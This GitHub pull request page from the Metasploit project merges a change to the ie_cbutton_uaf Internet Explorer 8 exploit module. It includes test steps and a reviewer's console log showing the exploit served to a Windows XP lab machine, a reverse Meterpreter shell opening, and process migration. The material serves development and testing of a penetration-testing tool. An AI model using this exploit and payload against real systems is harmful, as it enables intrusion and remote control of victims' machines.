Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Uses js_mstime_malloc to do the no-spray technique #1787

Merged
merged 2 commits into from May 3, 2013

Conversation

wchen-r7
Copy link
Contributor

@wchen-r7 wchen-r7 commented May 2, 2013

Now that we have a js_mstime_malloc, we should use that (see #1785). This module serves as our first example.

To test this: Fire up msfconsole, use exploit/windows/browser/ie_cbutton_uaf, set meterpreter as payload, run it against a Windows XP SP3 box with IE 8 on it.

@jvazquez-r7
Copy link
Contributor

+1 ! Merging!

msf exploit(ie_cbutton_uaf) > rexploit
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.0.6:4444 
[*] Using URL: http://0.0.0.0:8080/BJqM0M4j
[*]  Local IP: http://192.168.0.6:8080/BJqM0M4j
[*] Server started.
msf exploit(ie_cbutton_uaf) > [*] 192.168.0.6      ie_cbutton_uaf - Requesting: /BJqM0M4j
[*] 192.168.0.6      ie_cbutton_uaf - Target selected as: IE 8 on Windows XP SP3
[*] 192.168.0.6      ie_cbutton_uaf - Sending HTML...
[*] Sending stage (751104 bytes) to 192.168.0.6
[*] Meterpreter session 1 opened (192.168.0.6:4444 -> 192.168.0.6:49905) at 2013-05-02 19:39:47 -0500
[*] Session ID 1 (192.168.0.6:4444 -> 192.168.0.6:49905) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (1144)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2068
[+] Successfully migrated to process 

msf exploit(ie_cbutton_uaf) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : JUAN-C0DE875735
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > quit
[*] Shutting down Meterpreter...

[*] 192.168.0.6 - Meterpreter session 1 closed.  Reason: User exit

jvazquez-r7 pushed a commit that referenced this pull request May 3, 2013
@jvazquez-r7 jvazquez-r7 merged commit eb23b5f into rapid7:master May 3, 2013
@wchen-r7 wchen-r7 deleted the ie_cbutton_update branch August 22, 2016 16:31
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

2 participants